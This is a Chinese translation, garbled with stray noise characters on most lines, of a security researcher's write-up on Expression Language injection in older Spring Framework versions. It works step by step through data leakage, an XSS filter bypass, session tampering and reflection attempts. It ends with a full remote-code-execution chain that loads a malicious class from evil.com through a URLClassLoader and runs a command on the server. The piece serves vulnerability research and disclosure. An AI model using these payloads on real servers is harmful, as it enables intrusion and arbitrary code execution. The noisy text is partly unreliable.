Remote Code with Q- [4 i3 F. o% A, k
Expression Language Injection6 J7 V! @; G- I! x* e
Spring Framework脆弱性—DanAmodio
' c. r3 |: q1 J) C% y0 v6 o' A全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
- o) M' r A) D可能会存在风险。/ \9 c ]5 ^/ r' Y t( [. H
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
5 z8 ^* _: Y; Q& @$ ^( ]Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
& m3 r' q% x _* c以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
) g7 r& B( Z7 v7 S) q以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
5 Y; J Q9 ]9 k) B1 o5 P' a; a版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。8 \8 ^/ O" O8 I3 [9 D( u6 }
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但3 o8 d6 U, E- H9 J; I3 O" d7 l
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版4 ]0 O8 B/ R9 j o
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
& [3 k# _1 c: N: c( m* |这些版本不支持禁用double EL resolution.0 L* E! B0 w" B' A3 L
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含0 V6 t6 v7 d( ~5 u" M
EL2.2容器上可能进行远程代码执行。
% }4 ?! Y6 H- ~4 V4 c这是一个原始信息泄露的攻击例子:
! i7 I3 E# k* ]* t Q ~ J o请求:5 N i8 n3 R& D
ttp://vulnerable.com/foo?message=${applicationScope}
* C% g4 r7 r( ?5 Y6 A到达以下内容页面:
! |6 N3 r+ v. i结果将输出一些包含内部服务器信息calsspath 和本地工作目录' P, a! W" T8 r, J* R' N2 H
你也可以做一些其他事情,如这样:
: g r) Q W; d${9999+1}
" U9 J6 ~; D7 G还可以访问session 对象和beans
7 o5 n; d# s" y, p${employee.lastName}
7 Y8 I C4 d: I) M在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是' p9 w! x4 n. T1 ]! x- k! @
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
7 H7 F/ J/ e4 d/ M! s& b4 d8 v a西,比如XSS./ K, Z5 u4 P9 \* o
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
2 Y$ ?" ^1 P% ~" @$ ^+ M$ O突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
5 p1 H# |* A, }- v呢?”% C' F# b) e0 M
因此,我尝试巳缦拢�) J- k$ m% u. j' D# o, O( u# |
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
0 T/ E4 ?% R }* P- OP
2 \1 g1 d8 |* Y9 Q我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返0 M4 r4 Y( q( _! ~
回的文本被插入进了spring:message 标签。* X) p8 _- F; ]
这里是一个最终绕过过滤的实例:) a9 h% n: E6 h( D- B7 `) Z
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ" W! k: b" z( H* [4 u
它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
- D- n' t/ [6 j5 z* B0 I& I3 X什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?+ n) ~ }; Q& r6 J" J& U
经过一番研究,我学习到EL2.2 增加了方法调用。& ?. V7 z% k2 ~ F, P; v
我写了一个快速测试应用程序代码并且检测一些功能
3 H. X6 L% q9 e. J7 d' V* }${pageContext.request.getSession().setAttribute(“account”,”123456″)}" f! e0 a( A% a9 U% N; o, P
${pageContext.request.getSession().setAttribute(“admin”,true)}3 s6 M; y! e' x* a% G
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的
+ l, W# j6 }7 K4 m' Q指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
e' f3 \2 Z8 E9 A${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
9 `* W1 ~; L. J# j“, 1234)}# b! S7 [# Y& ~6 W; j) \) P' t
${“”.getClass().forName(“java.lang.Runtime”)}( b6 {) d# d7 {) y$ K$ o
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不% T7 ]$ [- x4 q9 Z7 o6 ?( I* _3 J9 e
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
2 x( ?3 n( I# t( @8 {8 F% ~数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有+ w# V, }0 T9 E( }
一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于. X! G9 a* l' }% M! n
方法签名invoke(Object obj, Object„ args)
! }$ `3 i- h! m( Z8 @+ a$ y# gJeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问
7 P* Q3 m$ I( m& b) j题,以让它可以工作起来。
7 O, C5 J+ ~" n: M( C h" b. W; E漏洞利用:/ K6 B# ?* ~! b( m) e
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
& D! o0 ?! r8 m希望你们中的一些JAVA奇才告诉我我是如此的可笑。
1 \) [+ T7 M; S% U3 c这里有一些我试过的失败的用例,为了试图让它工作的用例:! t( R" ]5 i9 b3 o& {# I
写文件到文件系统
. J0 f. w) t$ k 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
! K& o! p' b2 q0 o- F; o我认为这些可以很好的工作,但是我不能找到合适的类来载入。! b+ @2 w3 N/ ~
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}' `: n7 g) {. X! l# ^' R- y: R6 }' x
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
5 k4 D7 z" c% T+ V' q% Uorg.springframework.expression.spel.standard.SpelExpressionParser not found$ y7 O, D) ~3 W; e7 b2 V
by$ d5 S( X8 k) J
org.glassfish.web.javax.servlet.jsp [194].
. D' ^- o* M7 c* M) V. p 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
# _7 U! M# m# r 利用反射来创建一个新的Runtime(and watch the world burn)
) ^ \+ G" U5 L _" t* E; Y, D${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName9 E8 g7 u: K8 t' m" ^. ^$ ^
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}) p3 v5 u# w6 [! N$ k+ [3 O g
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}. b( s8 o) L% J1 G0 ^
使用java.lang.ProcessBuilder4 U& |. G( X1 w
用表达式语言来评估表达式语言
& x. d& i+ P/ K `( ]' }Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.9 n- G3 Q; k# P- v
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
0 z: V9 N- H! D1 M“,”".getClass(),null)}3 ~9 X$ n0 l. E7 s
创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
D& v& j( f8 P) A0 I# z我在使用一个空数组通过Method.invoke()时失败了很多次( n: m- b* ?( n/ |8 \: q. c6 l
“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
: Y8 J1 [0 D! m+ ?9 h& e* G.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A6 q9 G3 T! S' w9 k' S
rrayList”).newInstance().toArray())1 n; _3 C- n3 N( Y$ b
java.lang.IllegalArgumentException: wrong number of arguments# D% W* Y1 q/ f, P( F
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
( l$ c) L+ O. S* p以创建一个恶意class文件并且指向类装载器.
2 n% r G6 ?8 t. s) g5 w r我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:, t4 x$ ?7 g0 I$ X- K
public class Malicious {
9 O# Q* B8 X: A+ w8 Qpublic Malicious() {; A, [3 L2 m/ C/ J/ r5 Y8 Q
try {5 n6 a: U2 O4 [! w v& h- r
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
: @. g" D3 u: K7 d3 Rjava.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
% J5 g, Q0 a# \/ H* d( N: F' H8 a7 ~} catch (Exception e) {# E7 m Z$ @: }
}* J; n$ R) o3 l. E2 S8 k4 c; O
}' K0 ~6 P2 ]# }7 ?; ^
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回& @' J$ p W$ r. a6 s9 {# ^
话中,因此它可以被使用.
; M% R+ _& W( }$ m${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName- }% y$ Z' k) c7 z- y' p: `$ K
(“java.util.ArrayList”).newInstance())}
# e# e8 a1 I8 K& X' @( X! [URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建
6 z2 M' j5 g! k- C' W一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和" d- P4 f8 e4 t3 J3 \
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
; }4 U( E% D* ~4 u; E0 A( m7 _6 p我们可以调用的create(string)方法,然后转换对一个URL对象。
8 S% X/ O# @) X$ A% i${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh# H H% Q9 k. s Z: F: r4 u
ere/malicious/classfile/is/located/”).toURL())}
, ~( I( P# ~- U然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
! o- |5 D' _& y8 a恶意类文件被装载并创建,触发远程代码.
3 p7 j, V0 b3 r9 E# K5 r, I${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
1 b; j' ~: N* T. xxt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().4 O. u. J. d5 _. @/ G
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance7 P1 h: m# Y2 x# G0 l" |7 C
()} |